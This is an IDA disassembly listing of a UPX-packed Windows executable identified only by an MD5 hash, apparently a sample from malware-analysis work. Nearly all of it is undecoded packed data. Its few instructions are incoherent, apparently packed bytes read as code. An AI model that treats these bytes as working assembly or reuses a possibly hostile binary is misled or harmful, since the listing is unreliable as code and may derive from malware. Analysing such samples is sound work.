;
; +-------------------------------------------------------------------------+
; |	This file is generated by The Interactive Disassembler (IDA)	    |
; |	Copyright (c) 2007 by DataRescue sa/nv,	<ida@datarescue.com>	    |
; |		  Licensed to: SRI, 1 computer,	std, 05/2007		    |
; +-------------------------------------------------------------------------+
;
;
; +-------------------------------------------------------------------------+
; |	This file is generated by The Interactive Disassembler (IDA)	    |
; |	Copyright (c) 2007 by DataRescue sa/nv,	<ida@datarescue.com>	    |
; |		  Licensed to: SRI, 1 computer,	std, 05/2007		    |
; +-------------------------------------------------------------------------+
;
; Input	MD5   :	F673A5C8E32FDE28F89ED30DDA5D4ADA

; File Name   :	u:\work\f673a5c8e32fde28f89ed30dda5d4ada_unpacked.exe
; Format      :	Portable executable for	80386 (PE)
; Imagebase   :	400000
; Section 1. (virtual address 00001000)
; Virtual size			: 00016000 (  90112.)
; Section size in file		: 00016000 (  90112.)
; Offset to raw	data for section: 00001000
; Flags	E00000A0: Text Bss Executable Readable Writable
; Alignment	: default

		.686p
		.mmx
		.model flat

; ===========================================================================

; Segment type:	Pure code
; Segment permissions: Read/Write/Execute
UPX0		segment	para public 'CODE' use32
		assume cs:UPX0
		;org 401000h
		assume es:nothing, ss:nothing, ds:UPX0,	fs:nothing, gs:nothing
		dd 0
		dd 57FFh dup(0)
UPX0		ends

; Section 2. (virtual address 00017000)
; Virtual size			: 0000B000 (  45056.)
; Section size in file		: 0000B000 (  45056.)
; Offset to raw	data for section: 00017000
; Flags	E0000060: Text Data Executable Readable	Writable
; Alignment	: default
; ===========================================================================

; Segment type:	Pure code
; Segment permissions: Read/Write/Execute
UPX1		segment	para public 'CODE' use32
		assume cs:UPX1
		;org 417000h
		assume es:nothing, ss:nothing, ds:UPX0,	fs:nothing, gs:nothing
; [00000003 BYTES: COLLAPSED FUNCTION nullsub_100. PRESS KEYPAD	"+" TO EXPAND]
		db 0FFh
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 268h
		and	dword ptr [ebp-8], 3
		cld
		add	bl, ch
		pop	es
		mov	eax, [ebp-4]
		inc	eax
		mov	[esi-13h], esi
		fucomi	st, st(7)
		push	es
		cmp	dword ptr ds:1B418000h[eax*4], 0Fh
		test	[esi], dl
		add	ds:4F34FF10h, eax
		idiv	bh
		inc	edi
		lea	eax, [ebp-260h]
		push	eax
		call	near ptr 369C7144h
		pop	ecx
		pop	ecx
		or	eax, 0FEF7F500h
		retn
; ---------------------------------------------------------------------------
		dw 766Eh
		dd 6AFEF00Ch, 0FF256A03h, 15FF0875h, 0F7B57008h, 8335DE66h
		dd 0D60E0A5h, 6308858Bh, 8F75CD90h, 0E485C706h,	95F0405h
		dd 6D9DB2DCh, 4B508D64h, 0BDEC52F4h, 162E93B1h,	0B557E8E4h
		dd 6CCD9B3Eh, 606F05AFh, 839C5000h, 0DAFEDBBDh,	7400057Fh
		dd 0A53EB02h, 45750139h, 6C280C83h, 535ECDFFh, 0C66AAB52h
		dd 310CC483h, 8D92CE98h, 591E988Ch, 6DAD0453h, 0C0856E1Ah
		dd 0F8F81075h, 0B06534E9h, 1B61CCFBh, 1C0F1028h, 6C6CC3C9h
		dd 0C458DDBh, 38068B9h,	3CA8F100h, 0EED8CCEBh, 3E022405h
		dd 6808AC11h, 82867C26h, 84E880BBh, 11663A45h, 3FB7B402h
		dd 4D8B72F2h, 89C803FCh, 0FC7D8304h, 0D916C85Bh, 5200402Dh
		dd 0F8BA0104h, 733242DAh, 3C830E52h, 3BEF7E47h,	759D6C4h
		dd 0F4D60E48h, 763DBEFEh, 8A2387Bh, 0BE0F1103h,	5CF81540h
		dd 62C82475h, 2C53C59Fh, 4805848Dh, 6C16795Eh, 0B23EEB61h
		dd 0FDD3B012h, 0D873C8B0h, 0FDC00212h, 72FD8318h, 575603E8h
		dd 0AC02AC68h, 0FFB82154h, 4D4E7739h, 59480A11h, 5885B60Fh
		dd 0D9EC7E18h, 2374182Eh, 298B5D22h, 446830FFh,	0C1CB7681h
		dd 845D583Eh, 7103BC5h,	7C2B3D50h, 4CA31646h, 8013754Ch
		dd 0F0DDAD2Fh, 5F8719DDh, 5DC03359h, 7268A007h,	0D9F38DA2h
		dd 59425F7Eh, 44A5482Ch, 0E4DF6370h, 6505090h, 0F08B4F8Bh
		dd 8DBFF0D7h, 0F083B0Bh, 0A040A8Dh, 0F6690DB5h,	0F0B37814h
		dd 781F16ECh, 39E8B104h, 45753704h, 0B58446Eh, 348931BDh
		dd 5B33DDFCh, 508C1AB3h, 3C5D9006h, 23FD82C0h, 4498D23h
		dd 0C01448Dh, 0C3B02F50h, 5F9AEC28h, 0E10D2870h, 2DA10730h
		dd 57015A25h, 46D8F71Eh, 1BFBA318h, 11C083C0h, 3CD6945Fh
		dd 64E73C00h, 0E142760Bh, 0BDF03840h, 8B81604Ch, 26852B08h
		dd 5B9FB23Dh, 0C761FFAh, 0B8D185Fh, 4C3125EBh, 8986C6F7h
		dd 0B058B2Ah, 4F387630h, 30387496h, 0DB4365FCh,	411E77Bh
		dd 0C3B12B03h, 9DEBAB98h, 5FC2C23h, 72704B4Eh, 0BDEF74C1h
		dd 0B13E0C51h, 239DFC28h, 0FC243907h, 0FC24FC24h, 0ED9AC784h
		dd 39599929h, 24870F11h, 676E3FA9h, 1103865Fh, 8DBE49BEh
		dd 21C13B51h, 74D817DDh, 0C183193Eh, 0B211C20h,	0E90CC966h
		dd 2028C771h, 3398C9BDh, 6208860h, 0EF4AF0D6h, 3132330Ch
		dd 0B04B17CFh, 2306D78Fh, 289B91C3h, 0B0AFD8F3h, 8D031E1Ch
		dd 0FD489542h, 0EEB00367h, 588A0A0Ch, 0C32DB527h, 2A6012F5h
		dd 0EE23F8C3h, 5F76164h, 9304041Ch, 0CED82872h,	4B26F497h
		dd 8A064407h, 0B37EE70h, 0A8BC68A7h, 0F5458A9Ch, 321C8588h
		dd 0F1846320h, 0F56580h, 4A76F1A8h, 68D4D23Ah, 8A14CC1Ch
		dd 0E9860D56h, 0EB5F8836h, 0A01B402Eh, 244BA956h, 0D3013A3Fh
		dd 0AB6C3821h, 0CA908374h, 23A43711h, 7E13DF0Bh, 91049607h
		dd 7E304085h, 40231853h, 3B1A959Bh, 13D90A54h, 2375E536h
		dd 664FC103h, 5855B27Ch, 6A534C5Eh, 4052E659h, 52B8B238h
		dd 7923942Dh, 1D44C8D8h, 7E80F8F7h, 4902D82Dh, 2C4E1C21h
		dd 0BDDCC68h, 1022CA6Bh, 0D90FEBD3h, 1FED0306h,	0C80CFB9Eh
		dd 0C95E5FDCh, 3865FCC2h, 5160D858h, 50C1651h, 1C0ECE0Dh
		dd 52F709ACh, 74775008h, 2043831h, 77E23C45h, 4DFB241Dh
		dd 104D8AB1h, 30044888h, 0C627895Eh, 541C0A0h, 0E20C5230h
		dd 0C08C9BB7h, 54A509C0h, 1C090511h, 3FBB760Dh,	59634F9Ah
		dd 0F31045F6h, 61E5C709h, 9C8616BAh, 94081CD2h,	3FBAE817h
		dd 68F87550h, 0C6A0A74h, 4012BDFCh, 7036D831h, 47A0F17Fh
		dd 784D1118h, 3D83F74Bh, 7427DEF4h, 0C8620835h,	14B21C80h
		dd 0C9ECE8E8h, 0EC720321h, 7038F0F0h, 6A5D3067h, 72D3EB00h
		dd 0F16EE0D6h, 3AA8980h, 7B8D0D0Eh, 743E1360h, 9D326A4Eh
		dd 0E5147423h, 0FDCD7792h, 0FC052B60h, 72379A4Dh, 3B24EB02h
		dd 21D91E71h, 150500FAh, 1BDB5C25h, 0C2D14A3h, 8C62402Fh
		dd 740AEC3Fh, 750D0A0Bh, 0EBA46815h, 85C2C800h,	355A8D43h
		dd 26117EBh, 0BC484CE2h, 0C400B417h, 0E70E249h,	7303CFAh
		dd 0D8907201h, 3A03A7E7h, 8A1FF8ECh, 2D87B1BDh,	0F40E8CB9h
		dd 3DD6BCFCh, 680D9930h, 26C81446h, 6C785B26h, 0C6F8EC28h
		dd 0D4EB66Ah, 0CE8D831h, 3BE7F0E2h, 0EC724C0Dh,	0ED93E84Eh
		dd 98066C9Ch, 1704E9Ch,	18BB600Bh, 53520848h, 0C805A338h
		dd 0F8D89493h, 13891B22h, 74DDB69Ch, 3B41B54Eh,	0CD9BA4Ah
		dd 7B10F040h, 0E10E6DF9h, 6A662CDCh, 0FCA01244h, 16CD233h
		dd 0CC44A0F3h, 0BA59EF5Dh, 8BD066F4h, 19D831ABh, 0FC9DED90h
		dd 0E0DC0BF7h, 982C17BAh, 1B25561h, 84DF2501h, 0DF00BAC7h
		dd 7CEE8441h, 0ADC8708h, 8BF8D869h, 0B679175Ch,	0A17A3D3h
		dd 5369E894h, 0A3D3B649h, 94E02C03h, 8964DE04h,	956F8E7h
		dd 6FB04621h, 171E5405h, 0F4B70C6Dh, 0FDFCF206h, 1D50CF12h
		dd 0B0D21D83h, 0AD808C1Bh, 719E3568h, 0F0BCC88Ch, 0AB08A4FAh
		dd 0F85BA292h, 5241589Ah, 36FD031h, 0F7BE4647h,	0EC3E09F9h
		dd 4E247484h, 81D876C8h, 4A7420BDh, 0C43BC5A8h,	6A41D26Eh
		dd 0B0C8D0Ah, 722F6A9h,	0F8D4E0B9h, 0C06F8D4h, 76ECC1EFh
		dd 2173AB3Bh, 0E9AFE60Ah, 6B4D0CF1h, 0ABE4C175h, 591B0D8Eh
		dd 0F8ACC7AAh, 846410Ch, 9535ABEFh, 2107E4FCh, 0A41675C1h
		dd 1206A7E4h, 88936D82h, 0A181A56h, 96840102h, 0C28ED0B2h
		dd 9B1A4181h, 0B36B733Ch, 626E72C3h, 5E68B314h,	8186E91Ah
		dd 1ECD304h, 251EC58h, 73CE4E07h, 0C3D02698h, 38CD7749h
		dd 345B320Eh, 0CA822C68h, 0E1DCBC09h, 1A3671D0h, 0AF02DE1Bh
		dd 0C7A4C18h, 4BCCC6Ah,	6A045D66h, 0C90204CCh, 6897BE07h
		dd 0AE015718h, 0B8181981h, 461037BBh, 14682B4Eh, 1E7E291Eh
		dd 2D6C3683h, 350D0064h, 0A4F4680Fh, 0DC196539h, 0D60604B6h
		dd 3C806D9Dh, 4517FA20h, 59835CC1h, 1162A6FEh, 7DAA5CF9h
		dd 0DE4A841Eh, 0FA1CFA1Ch, 7213F09h, 0BA10FA20h, 0D5271068h
		dd 0E11C9EE8h, 49A1FC49h, 0BCE640FBh, 7BE57B89h, 3E141CC4h
		dd 765A471Fh, 7EF600B6h, 247A4A59h, 0EAFC4F81h,	7AB28B0Dh
		dd 53928280h, 92C19B67h, 189B0BFCh, 8F724C0Eh, 48811AA5h
		dd 91CF9DC2h, 48F8DC8Fh, 1BFA1072h, 5E3ACDDh, 2B088198h
		dd 6C7C5876h, 8B91B1B1h, 0B892203h, 0D16BFC3Ah,	0C4C8C8Ch
		dd 0BD07EE6Ah, 55166FC3h, 43BB43B2h, 0A0C06CCh,	0B63A2ECFh
		dd 0B66B7862h, 65F8E65Ch, 19CA1673h, 277612E1h,	0F04B810h
		dd 67720D26h, 0AF7C884Fh, 39D60B14h, 2E4860E8h,	0E46763C0h
		dd 0B9991E8Bh, 0F9F70D00h, 0D9AC7B0Eh, 5DB0813h, 38049DD9h
		dd 0B22FEE2Bh, 5001C45h, 0C57035D8h, 0DE2DEC27h, 9D22BDD8h
		dd 27241CDDh, 6210F9FCh, 0F9FC3E43h, 30858321h,	3468BC25h
		dd 57C4207Bh, 11843848h, 640CD089h, 0D65263B3h,	0A1C8988h
		dd 782402CCh, 0F71C1C81h, 1F31F741h, 8BC8BEFh, 0E4807F6h
		dd 0D82C0846h, 17F69ECDh, 0F610A32Ah, 9AF782E7h, 2C33EB9Dh
		dd 3D951E9Ch, 1E496BC1h, 30424412h, 0BA015D8Fh,	1874A0A1h
		dd 0CD380010h, 18B1DFC6h, 0E8F04522h, 15021BFh,	0C8BD6A40h
		dd 6A02C7E7h, 0EC04015Ah, 8A6C28F9h, 6827E05Ch,	1C16DF58h
		dd 0E050B9F7h, 57EB1484h, 0D5F5FC42h, 88F5EE76h, 1F40FA13h
		dd 0A777F1F3h, 0F9F9ECDFh, 2201765Fh, 6BB83670h, 0B191601Ch
		dd 5404E504h, 7C81E968h, 41A05A6Ah, 61F714F7h, 0F20BDDD8h
		dd 343DF714h, 9559B73Ch
		dd 6E6BDF7h, 3E2B16CEh,	0DCF68492h, 840D32C7h, 23F08EF8h
		dd 16F097D4h, 64683EF9h, 3C8BD883h, 0F72022F9h,	0CE391CC4h
		dd 2CC34D49h, 5044402Eh, 642E8E49h, 0A7483CB2h,	987BF490h
		dd 0EA6068E3h, 0EB38B819h, 0B2F9E8D4h, 0B2F9EE6Fh, 809F9E8h
		dd 75021317h, 25EC962Bh, 0E97AC7B2h, 0F9F2B363h, 748BB8F5h
		dd 4583204Bh, 733067F8h, 5F270C57h, 58EB01A7h, 8CF02C87h
		dd 46F5F4CAh, 0F20E49B6h, 0F5F4F5F4h, 60F4FF6Ah, 3177AFC9h
		dd 0D9F9E826h, 9F6B0B02h, 82AD8C27h, 0F65ACF84h, 0E9B3101Dh
		dd 0F71C3453h, 2039B583h, 6B13E714h, 0F9030C22h, 0CF6903Ch
		dd 0BDF5F8F6h, 0F0CF9F24h, 0ECF5F0F5h, 64E42AF5h, 0E81CB3BDh
		dd 0F5EC2205h, 2D9CEF58h, 2205E427h, 5B099298h,	320B0CDh
		dd 14B5E10h, 0F123B316h, 4EBFD60h, 0C8EBCAEBh, 0CEC8330h
		dd 9625123Ch, 10056CAEh, 8A06140Bh, 93DB13CDh, 0F9071618h
		dd 0F8986D18h, 2C76E0CCh, 7D8121F8h, 341F8A7Eh,	1C390E59h
		dd 9C49F4F4h, 40E3D608h, 0CAF141Fh, 180B3C02h, 476216Ah
		dd 86293B19h, 251610E0h, 2E4627B9h, 29C51400h, 0B98C960Ah
		dd 66A1893h, 4502159Eh,	54FFE2B6h, 89F44D8Bh, 32022F88h
		dd 1CC01FA3h, 4E3324F2h, 846810B6h, 7CC8390Bh, 511E3883h
		dd 1C07117h, 53410667h,	6536106Ch, 8AC56178h, 725724Eh
		dd 0C2A00129h, 40B98420h, 420D548h, 9B66125Eh, 0F5142EFDh
		dd 23B8FBECh, 0EC93BF3Dh, 1A9107FBh, 1D1201Eh, 0FC1930D7h
		dd 332C4F52h, 0FB07F20Dh, 250E86AAh, 0FF0D669Bh, 0EC4A0D50h
		dd 9B23D8FBh, 1E3B6CBDh, 0ED763F44h, 0E0C8CEBDh, 720835E0h
		dd 0B2C6B075h, 8B8D4413h, 0FB19EC68h, 7107ECBAh, 3DF073A4h
		dd 136615F0h, 218B34D8h, 0C01B1955h, 0D8682A9Eh, 0F481F443h
		dd 1D8D8D80h, 3B0E8B0Eh, 3E51762Dh, 0BB62DBDBh,	0E44429E4h
		dd 0F736C068h, 2550E6BDh, 0F19E4F33h, 0D614F8D2h, 1F8466Ch
		dd 0B39DE475h, 0FD85B6CFh, 212C7224h, 0AC107202h, 0FD4CC0BCh
		dd 3D00B70Fh, 31FF5A4Dh, 0E93D0020h, 202B1377h,	89348D8Bh
		dd 0B5573708h, 1CC09462h, 451F3053h, 5C906046h,	3CFBA584h
		dd 93852D7Bh, 8D8A1B12h, 0DBF4758Dh, 0C12B293Eh, 0C807E06Ch
		dd 5BB5EA51h, 18E84360h, 59152632h, 0E46FC8B6h,	0B289C107h
		dd 0F5962928h, 16286046h, 195B5F20h, 7ECB5333h,	0E530B0CDh
		dd 2804D846h, 6119FA56h, 10282632h, 73E4DFE0h, 1CEC235Dh
		dd 1B5ADC35h, 0DA32D90Bh, 0B5C6197Bh, 0F8349C2Fh, 0B362CC21h
		dd 0E7E64CE2h, 0D90229F4h, 1922E01Dh, 6CB53C0Ch, 5D628B8Bh
		dd 208F906h, 57BD4879h,	0C4FAAF68h, 2392C6F9h, 14F9C8F4h
		dd 791F824h, 78E505B9h,	0FD7480FDh, 776EF934h, 4DA02C13h
		dd 157C8588h, 24D21F6Ah, 8DEEFB07h, 0F30A7DBDh,	0AAAB66ABh
		dd 0DCF9441Ah, 45E416CEh, 69383CF9h, 9F3EFACCh,	8F8B9778h
		dd 0D085CC8Bh, 605BD9FBh, 0C49B6A40h, 47BA9A15h, 7C28A1E2h
		dd 85850F42h, 38046A8Bh, 0CF49CB8Bh, 66C26061h,	666D826Fh
		dd 0F88B6409h, 22257520h, 0CB929ECDh, 0EB108C65h, 62DC4023h
		dd 5C249725h, 0D1F9C453h, 2284EFB2h, 9B520457h,	8E4F239Dh
		dd 40F940A7h, 0D1F940F9h, 5E970CCh, 401B847Bh, 0EDA0C619h
		dd 0F9C894F9h, 0C4FFCA3Ah, 9DECEFF8h, 2F06F84Bh, 0B2B70B03h
		dd 8E3564A6h, 0B34D1719h, 2FF67E13h, 803D5775h,	6A2B05A4h
		dd 0D9B39D2Ch, 3200F749h, 33375926h, 0DC3E308Dh, 50B09086h
		dd 3891F913h, 0EC0BECF9h, 6F4DE69Bh, 183B7C30h,	0BE40D2Bh
		dd 0BD227F39h, 0FBC63B05h, 881D8AECh, 0B09B0D84h, 7044822h
		dd 1BB3C348h, 54ECA4E1h, 0C8EC6C75h, 385340ADh,	205068F9h
		dd 6C2EA72Ch, 0CFB6B1D2h, 0A8D634BCh, 391E4BC4h, 596783h
		dd 6604C972h, 4754D644h, 0E902CEC8h, 83923138h,	0FD7C392Dh
		dd 99F94412h, 7FD9B640h, 3E3D30D9h, 2C2E420Eh, 402F2803h
		dd 0AE3264A6h, 0E4A0C00h, 0AAA91184h, 0B2474F00h, 168E40E5h
		dd 0C068C85Fh, 0FCD81833h, 1CF4D784h, 0E36780F8h, 0F81C45F9h
		dd 201C8F25h, 11678740h, 50400D6Ch, 0F6184924h,	461B6996h
		dd 32612B52h, 0C99C1A66h, 0FB00600Ch, 4E1E4218h, 7884F868h
		dd 0BE709790h, 0CC297868h, 0B17C2084h, 0A53D8B03h, 2C0ADDFCh
		dd 0C9152F7Bh, 9E6C4EA8h, 821DCB05h, 0F93CF928h, 0AD18EF0Eh
		dd 5375847Dh, 0AE7D4961h, 32DAB0Dh, 0CB50233Ch,	0C064B10Eh
		dd 6D58FF68h, 0F0B2179h, 24941644h, 7C8057D9h, 25B7491h
		dd 1E48851Ah, 75032092h, 0C860C445h, 1C274DF2h,	5754223Ah
		dd 1593C6Eh, 0B7976A4Bh, 272B63A1h, 8FC00914h, 66162DEBh
		dd 5A49334Fh, 0B0AB410h, 0E40B3BDh, 3210FA4Eh, 5CBD8F1Bh
		dd 0C1875140h, 86E0AE8h, 3EC6F10Bh, 0AD2A0CA5h,	79F8030Ch
		dd 9021876Eh, 0F7FC23h,	37884393h, 3BF80A0Ch, 27064792h
		dd 0A61C846Ch, 0A4EC113Bh, 0FE2D0F59h, 9D970DC0h, 0B757FA4h
		dd 5D3969E2h, 208D832Ch, 45AE6A4Bh, 31560696h, 760F182Eh
		dd 2005FD97h, 53E1276h,	9B446176h, 6179027h, 248444C0h
		dd 792854F8h, 10841420h, 0B67EC3E0h, 2004D91Ch,	7A6C5FAFh
		dd 14E2B0F1h, 342523E5h, 0B26D90FEh, 0EC18EC51h, 7A6A086Ah
		dd 884F136Ah, 20045AADh, 45ADFDF4h, 807A5DCCh, 0E6F00564h
		dd 157A8620h, 7AB1B9B5h, 10069B98h, 0A405103Fh,	0FC75662Bh
		dd 7DC810ECh, 5EC8C59h,	0B0150A08h, 0EC9E4B64h,	43230C05h
		dd 56D59F92h, 0EC928580h, 0C72A3268h, 50955C85h, 420C681Bh
		dd 3A8F5770h, 0F0A48C19h, 75DF083Dh, 2653CAA9h,	87D82187h
		dd 1F686047h, 8C048B7Ch, 0B7B2F62Fh, 5BD816Fh, 77C01C25h
		dd 7C740B32h, 0F273D917h, 74800372h, 0B400555h,	0CFD9CDB3h
		dd 6FEB461Dh, 63728D0Dh, 273D9C25h, 5076939Bh, 0FD0B2994h
		dd 0FDD36E9Eh, 833DEB2Fh, 834EBBCh, 9E692BA4h, 228469E6h
		dd 0D401964h, 10E69EE9h, 14B90724h, 1CB5365Ch, 0EC3B67FEh
		dd 0D58708FEh, 0B9BF57Bh, 94186FCh, 2B11AFF8h, 61B29FFh
		dd 0B0FF0440h, 832032C0h, 0B80B8E1Dh, 203203C4h, 0A09CB403h
		dd 20320320h, 234AACA8h, 0B0A43203h, 0B87105FCh, 0CF401FCh
		dd 88864C68h, 0AAF695DBh, 48F30F7Dh, 7EEA831Ch,	109E4ACEh
		dd 0F4C46B1Ch, 5122F4FEh, 80391E53h, 0A1BEC71Fh, 77F75291h
		dd 863C680Dh, 0BEC7C65Eh, 2606F605h, 0C28680Bh,	7C275C31h
		dd 754FE638h, 75DA3881h, 0D18B141Eh, 809FB7CFh,	0C4D8B40h
		dd 81890449h, 0FBFFC883h, 1964A582h, 4E8E4827h,	6C9FD52Eh
		dd 8AF106Eh, 1574021Eh,	7A6D3F68h, 5866CDCBh, 0AB87234h
		dd 4BB22830h, 268E419Eh, 3C080108h, 90DAA546h, 0DDAB533Ch
		dd 0CF4874B2h, 0CC7730EAh, 6D8BCC43h, 7210D2B3h, 2A58072Ch
		dd 0D421AA20h, 38CCF747h, 6D421ED4h, 48D04560h,	420CC766h
		dd 38A0BE18h, 1731420h,	36CD6DB9h, 66384250h, 0CCE6D254h
		dd 0EC666DC7h, 0BC7C945h, 3B9B08F6h, 0C818B1F4h, 213BC85Ah
		dd 59F2C8FEh, 4889EC06h, 0C40C2008h, 3B3406C4h,	0CC41CB6h
		dd 1210104Bh, 0B6FF6DECh, 0CC152096h, 83184189h, 10ACD465h
		dd 0F7C41593h, 4EFDC17Ch, 58082114h, 6EEE6BA6h,	3CD99DC8h
		dd 10F10762h, 0FBB80A7Eh, 0E0650F2Ah, 99B2CCE4h, 1C40E0EDh
		dd 0EC1187E0h, 0D6E20EB6h, 883C0E40h, 0E033E238h, 425DE10Eh
		dd 30C06B2Dh, 87E43E50h, 0E4592B61h, 3924325h, 0F0E490B9h
		dd 0D919AEF0h, 0E89DF206h
		dd 1906E8E8h, 3BB754C1h, 60830F53h, 91B90A31h, 0C0D4DD0Fh
		dd 0E804C030h, 5AC9E173h, 8BE4BABFh, 9C89C055h,	144C70Eh
		dd 6FC85F89h, 0BC37BC00h, 5489BC01h, 8486FC85h,	27B89001h
		dd 613606B8h, 0CB8CD60h, 2F109E60h, 8D1CA19Bh, 55C90CA5h
		dd 0BBE189E4h, 0A44E10Dh, 4C65518h, 0B9F4B488h,	0C2B09092h
		dd 0D7C03009h, 7FD96C9Dh, 31B19E8h, 0B480AC8h, 0BB047611h
		dd 0CB024C4Bh, 8EE49227h, 0E49C1B44h, 34F71059h, 29F4BF04h
		dd 0BD75E2CEh, 200A0974h, 0C085E024h, 349727A6h, 0B52B2626h
		dd 88847487h, 0F374010h, 2DAF0BFh, 2B5DD8C9h, 0CCF10655h
		dd 2C97D02Ch, 0CF1070FFh, 1CD43C13h, 0CC40CCB2h, 0C4178108h
		dd 42FC24Ch, 9D19619h, 6F7D155Eh, 0EE277D8Ch, 2E08393h
		dd 0EB0287Fh, 0D660F604h, 46D78D5h, 0B65D775Ch,	20CE2303h
		dd 24140B24h, 666F52C9h, 306D19BCh, 0C6ED92DEh,	76141840h
		dd 170A47B9h, 89CB61B2h, 43818B2Dh, 2A64656Eh, 90DE01B6h
		dd 0F42B3500h, 1B7881C0h, 640E2E7Fh, 7FFB2807h,	0EBA07575h
		dd 3B661028h, 0F045B284h, 5B16D5C1h, 4E7F4C18h,	419F0A3Ah
		dd 0B20B38DAh, 58027C66h, 0EA10D9B2h, 13C0B70Fh, 60A05E23h
		dd 271CE421h, 0CD5F08D0h, 376D1A09h, 99839110h,	0E8257CF8h
		dd 0B70F6712h, 8714962Eh, 0D64C1B28h, 3C2C85Bh,	0F81558DDh
		dd 8F61B270h, 32EB1264h, 0C9C96E25h, 1190D236h,	6710FC85h
		dd 67A1C7E9h, 28E2A46h,	30843A1Ch, 7208F61Bh, 0FC01D25Dh
		dd 68187210h, 548289A0h, 0A0C1EFDBh, 786813A4h,	16F47513h
		dd 2ED80858h, 0B410A336h, 58266868h, 2B1C3407h,	588BAB53h
		dd 33D84C2Ah, 4C18ECC8h, 3C841C12h, 2040F213h, 2133C834h
		dd 282424CFh, 0F2133E14h, 30002C4Ch, 909B88ECh,	0D03440E7h
		dd 247BC238h, 88C8F25Ah, 0B4684CAEh, 67B0926h, 0A03CF819h
		dd 42679012h, 4488409Eh, 0E4061670h, 645F489Bh,	848818FCh
		dd 0FC790645h, 33231254h, 3C58CF21h, 5B23245Ch,	732B5E8Bh
		dd 0FA095808h, 5C2CE2DDh, 1A05C71Fh, 679B3588h,	96D35B3h
		dd 5C38BA58h, 72CF3BBDh, 30682F09h, 0F0F0C988h,	20CF6018h
		dd 50F07263h, 9E41260Ch, 0E8E832CFh, 27E887ECh,	4C9858F5h
		dd 1228B86Ah, 0C802BC84h, 0AD68E293h, 0EE50C301h, 0ABB248A9h
		dd 8DEE5442h, 6793780Ch, 0EA36EEEEh, 0BD837ABFh, 8B2FDD2Fh
		dd 89C43850h, 3E40444Ch, 0CC41EE5Ah, 8FA9725Dh,	0C48EE4Ch
		dd 0A0E7AB33h, 11897BD7h, 9D16C61Ch, 0DC32F3Dh,	27C37CFFh
		dd 0C04F3BC5h, 16F08510h, 7507E67Bh, 0D8CBD8B1h, 92FC05EDh
		dd 1B6CE15Eh, 2C70FF08h, 0BD9710F2h, 7610F140h,	5E893711h
		dd 4FDFDA0Ch, 0BE0F712Eh, 0A7EF9805h, 2CBB0839h, 0EDF50A58h
		dd 83423015h, 0C09EC16Ch, 5624CE16h, 0AF66C442h, 3815528Bh
		dd 0ECB573B7h, 77F5B00Dh, 821D3BB6h, 73142581h,	91B0146Bh
		dd 0E9DFAD27h, 29999484h, 314CBFBBh, 0F7951E10h, 56293893h
		dd 75BA3A16h, 9BB47A84h, 8A180CE3h, 16E4037Fh, 6AE08C2h
		dd 0AC601154h, 3C0AC020h, 682E147Eh, 8BD28C64h,	0A7A44906h
		dd 0F86717CEh, 0C9D8F89Bh, 0F86A3B21h, 143DF36Fh, 82B9BDFAh
		dd 76019ADEh, 0B74520h,	905D433h, 3400D00h, 41B6376Fh
		dd 48480CBBh, 0C0DA1807h, 0BB0C250Eh, 0FCB6C80Fh, 0D10E8C1h
		dd 58F3E181h, 0D0285732h, 122113C0h, 0F77B3733h, 0DF4A6AD0h
		dd 0DD96ECF3h, 3054EDDh, 4EB2674h, 246C6474h, 3E024D00h
		dd 4EFE68D8h, 0D95F4701h, 842B99Dh, 8008820Bh, 0E0C11EE4h
		dd 37580308h, 7F252160h, 0C81023FFh, 0FF217601h, 6A0B1847h
		dd 0CAAA0B10h, 2592B16h, 1D72C9Ah, 0B1E1920Ch, 6804235Dh
		dd 0ECA9BC48h, 52344D74h, 53B705FEh, 205F401Ah,	6A38817Fh
		dd 1D346808h, 4498036Ah, 3068C817h, 58F9F702h, 2144E446h
		dd 68A10629h, 5F31A82Eh, 1020F0Dh, 222F5D78h, 1CAC3A3Eh
		dd 7295B7Fh, 0C0EB044Ch, 0D7B3F095h, 8D18F68Fh,	8F314A24h
		dd 0D9FA0B68h, 0E76558ACh, 0B868557Dh, 6A5CEA0Bh, 631F9A27h
		dd 8186F018h, 0D705B306h, 1CD1F402h, 45E060C5h,	23E8E511h
		dd 0E8E880F2h, 0A9E047DEh, 26046189h, 3DAD33F4h, 0F3998817h
		dd 0E3648181h, 0E091DC20h, 5D752AF6h, 99D6E368h, 0DE138F59h
		dd 0DF70565h, 220319A1h, 0FE113D5Bh, 6B185E17h,	41DAE93h
		dd 0DAFC5972h, 4BB10610h, 0E1950FF6h, 42A3316h,	76C80C96h
		dd 0ECECEE79h, 245EC3B9h, 2ED23A0h, 3B3781Eh, 8A5CEDB9h
		dd 7CEDBFF8h, 587CC2A6h, 629A830Fh, 0D8BE7BC6h,	0EDF6572Bh
		dd 0EDF80093h, 0EC1EE6Dh, 68208DFCh, 0E45A511Ch, 61B34530h
		dd 0BDB80AD9h, 5896F448h, 150F7607h, 96C2E9DFh,	0D6E06D76h
		dd 76A7E06Dh, 51E03485h, 7F80B1CCh, 940FEE11h, 7E8723C0h
		dd 96800466h, 997959B1h, 7F172314h, 8C9A940h, 0E1004049h
		dd 0E8BE9903h, 397CCB84h, 14DB19D1h, 804409BCh,	49403150h
		dd 83A183C1h, 4A293917h, 8AB302BDh, 122A06DCh, 29E0A431h
		dd 0E4A08846h, 105A5B2Ah, 0EC64990Ah, 7878B588h, 6EB14EA6h
		dd 7A89152Eh, 85817EF4h, 0BB0A7A30h, 954D575Fh,	0D10C101Ch
		dd 0CCF622F5h, 0A355F8F8h, 7645E00Ch, 1B818534h, 1040098Dh
		dd 0D246026h, 60106C38h, 1808103Ah, 43D593D1h, 68217530h
		dd 36157502h, 0E69320FBh, 0EB01B00Ch, 0D9A9201Fh, 1CD9E15Eh
		dd 7697EB66h, 65C4174h,	32A90ED4h, 0A0E33C60h, 301C03A4h
		dd 0C4DFEEC4h, 63B832E5h, 868B9C4h, 0B7D4D910h,	0D480B07Bh
		dd 8B6B382Ch, 500200Fh,	0D573609Ah, 20B8CCA0h, 0A9F0D8A8h
		dd 0EBB74348h, 0A0B5FE24h, 0DC877D40h, 73C32FE7h, 0D85DB981h
		dd 172C8105h, 3421E859h, 10741935h, 51D4D435h, 0D063364Ch
		dd 0A897099Eh, 0C612CF48h, 0D64C2Ah, 23B191ACh,	8050C70h
		dd 2FB85104h, 0E89B310Ch, 0C1D016CAh, 0BFD43D9h, 0B6A81708h
		dd 700C6213h, 511D4BC2h, 40DB41E2h, 550C82Fh, 0B2B3912Ch
		dd 445BB19h, 1B92105Dh,	1418B18Ch, 0D0E1108h, 0D351BBA6h
